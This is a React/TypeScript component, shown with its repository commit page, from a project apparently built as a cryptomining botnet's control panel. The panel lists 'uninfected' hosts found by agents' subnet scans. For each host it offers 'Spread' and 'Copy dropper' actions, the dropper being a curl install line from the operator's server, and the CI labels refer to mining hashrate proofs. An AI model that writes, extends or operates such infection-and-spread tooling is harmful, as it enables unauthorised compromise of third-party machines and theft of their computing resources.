Files
AetherForge/server/web/src/components/Recon/FleetDiscoveriesPanel.tsx
AetherForge 7784608c53
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Fleet discoveries panel to Deploy Recon for uninfected hosts.
Merges agent subnet recon with manual scans, filters by subnet/port, and live-updates via subnet_discovery_update WS.
2026-06-07 11:38:57 -07:00

293 lines
8.9 KiB
TypeScript

import { memo, useCallback, useEffect, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import type { Agent } from '../../types';
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../../types/recon';
import { HelpTip } from '../HelpTip';
import { crucibleSpreadLink, curlInstallLine } from '../../help/deployRecon';
import {
DEFAULT_DISCOVERY_FILTERS,
discoveryStatusLabel,
discoverySubnetOptions,
filterDiscoveryRows,
fmtDiscoveryTime,
manualScanToDiscovery,
mergeDiscoveryRows,
parseSubnetDiscoveryUpdate,
type DiscoveryFilters,
} from '../../help/fleetDiscoveries';
import { useWebSocket } from '../../hooks/useWebSocket';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard?.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
}).catch(() => {});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
{ok ? 'Copied' : label}
</button>
);
}
function reporterLabel(row: DiscoveredHostRow, agents: Agent[]): string {
if (row.source === 'manual') return 'Manual scan';
if (!row.reporter_agent_id) return '—';
const agent = agents.find((a) => a.id === row.reporter_agent_id);
return agent?.name || agent?.hostname || row.reporter_agent_id.slice(0, 8);
}
const DiscoveryRow = memo(function DiscoveryRow({
row,
agents,
serverBase,
pinnedBuildId,
onScanDeeper,
scanningIp,
}: {
row: DiscoveredHostRow;
agents: Agent[];
serverBase: string;
pinnedBuildId: string;
onScanDeeper: (ip: string) => void;
scanningIp: string;
}) {
const dropper = useMemo(
() => curlInstallLine(serverBase, pinnedBuildId),
[serverBase, pinnedBuildId],
);
const uninfected = row.status === 'uninfected';
return (
<tr data-testid={`dr-discovery-row-${row.ip}`}>
<td className="dr-disc-ip font-tech">{row.ip}</td>
<td>
<div className="dr-disc-ports">
{row.open_ports.length === 0 ? (
<span className="dr-disc-port muted"></span>
) : (
row.open_ports.map((p) => (
<span key={p} className="dr-disc-port open">
{p}
</span>
))
)}
</div>
</td>
<td className="dr-disc-reporter">{reporterLabel(row, agents)}</td>
<td className="dr-disc-subnet">{row.subnet_prefix || '—'}</td>
<td className="dr-disc-seen">{fmtDiscoveryTime(row.last_seen)}</td>
<td>
<span
className={`dr-disc-badge${uninfected ? ' uninfected' : ''}`}
data-testid={`dr-badge-${row.ip}`}
>
{discoveryStatusLabel(row)}
</span>
</td>
<td>
<div className="dr-disc-actions">
<button
type="button"
className="btn btn-outline btn-sm"
disabled={scanningIp === row.ip}
onClick={() => onScanDeeper(row.ip)}
>
{scanningIp === row.ip ? 'Scanning…' : 'Scan deeper'}
</button>
<Link to={crucibleSpreadLink(row.ip)} className="btn btn-outline btn-sm">
Spread
</Link>
<CopyChip text={dropper} label="Copy dropper" />
</div>
</td>
</tr>
);
});
export interface FleetDiscoveriesPanelProps {
manualScans: ReconScanReport[];
onScanDeeper: (ip: string) => void;
scanningIp: string;
serverBase: string;
pinnedBuildId: string;
}
export default function FleetDiscoveriesPanel({
manualScans,
onScanDeeper,
scanningIp,
serverBase,
pinnedBuildId,
}: FleetDiscoveriesPanelProps) {
const { latestMessage, agents } = useWebSocket();
const [agentHosts, setAgentHosts] = useState<DiscoveredHost[]>([]);
const [loading, setLoading] = useState(true);
const [apiMissing, setApiMissing] = useState(false);
const [filters, setFilters] = useState<DiscoveryFilters>(DEFAULT_DISCOVERY_FILTERS);
const load = useCallback(async () => {
try {
const data = await api.getDiscoveredHosts({ status: 'uninfected' });
if (!data) {
setApiMissing(true);
setAgentHosts([]);
return;
}
setApiMissing(false);
setAgentHosts(data.hosts ?? []);
} catch {
setApiMissing(true);
} finally {
setLoading(false);
}
}, []);
useEffect(() => {
void load();
}, [load]);
useEffect(() => {
if (!latestMessage || latestMessage.type !== 'subnet_discovery_update') return;
const incoming = parseSubnetDiscoveryUpdate(latestMessage.payload);
if (incoming.length === 0) return;
setAgentHosts((prev) => {
const map = new Map(prev.map((h) => [h.ip, h]));
for (const h of incoming) {
const old = map.get(h.ip);
if (!old) {
map.set(h.ip, h);
continue;
}
map.set(h.ip, {
...old,
...h,
open_ports: [...new Set([...old.open_ports, ...h.open_ports])].sort((a, b) => a - b),
});
}
return [...map.values()];
});
setApiMissing(false);
setLoading(false);
}, [latestMessage]);
const manualHosts = useMemo(
() => manualScans.map(manualScanToDiscovery),
[manualScans],
);
const merged = useMemo(
() => mergeDiscoveryRows(agentHosts, manualHosts),
[agentHosts, manualHosts],
);
const subnetOptions = useMemo(() => discoverySubnetOptions(merged), [merged]);
const filtered = useMemo(
() => filterDiscoveryRows(merged, filters),
[merged, filters],
);
return (
<section className="neon-card dr-fleet-discoveries" aria-label="Fleet discoveries">
<div className="dr-fleet-head">
<h2 className="dr-section-title" style={{ margin: 0 }}>
Fleet discoveries <HelpTip field="dr_fleet_discoveries" />
</h2>
<span className="dr-fleet-count" data-testid="dr-discovery-count">
{filtered.length} uninfected
</span>
</div>
<div className="dr-fleet-filters">
<label className="dr-field">
<span>Subnet <HelpTip field="dr_fleet_subnet_filter" /></span>
<select
className="input"
value={filters.subnet}
onChange={(e) => setFilters((f) => ({ ...f, subnet: e.target.value }))}
data-testid="dr-subnet-filter"
>
<option value="">All subnets</option>
{subnetOptions.map((s) => (
<option key={s} value={s}>
{s}
</option>
))}
</select>
</label>
<label className="dr-field">
<span>Has port <HelpTip field="dr_fleet_port_filter" /></span>
<input
className="input"
type="number"
min={1}
max={65535}
placeholder="e.g. 22"
value={filters.port}
onChange={(e) => setFilters((f) => ({ ...f, port: e.target.value }))}
data-testid="dr-port-filter"
/>
</label>
<label className="dr-field">
<span>Sort <HelpTip field="dr_fleet_sort" /></span>
<select
className="input"
value={filters.sort}
onChange={(e) =>
setFilters((f) => ({ ...f, sort: e.target.value as DiscoveryFilters['sort'] }))
}
data-testid="dr-sort-filter"
>
<option value="last_seen_desc">Last seen </option>
<option value="last_seen_asc">Last seen </option>
<option value="ip_asc">IP AZ</option>
</select>
</label>
</div>
{loading ? (
<p className="dr-empty">Loading agent discoveries</p>
) : filtered.length === 0 ? (
<p className="dr-empty" data-testid="dr-discovery-empty">
{apiMissing && manualHosts.length === 0
? 'No discoveries yet — run a manual scan or wait for agent subnet recon.'
: 'No hosts match filters. Try clearing subnet/port filters or run Scan on a target.'}
</p>
) : (
<div className="dr-disc-table-wrap">
<table className="dr-disc-table" aria-label="Discovered uninfected hosts">
<thead>
<tr>
<th>IP</th>
<th>Open ports</th>
<th>Reporter</th>
<th>Subnet</th>
<th>Last seen</th>
<th>Status</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
{filtered.map((row) => (
<DiscoveryRow
key={row.ip}
row={row}
agents={agents}
serverBase={serverBase}
pinnedBuildId={pinnedBuildId}
onScanDeeper={onScanDeeper}
scanningIp={scanningIp}
/>
))}
</tbody>
</table>
</div>
)}
</section>
);
}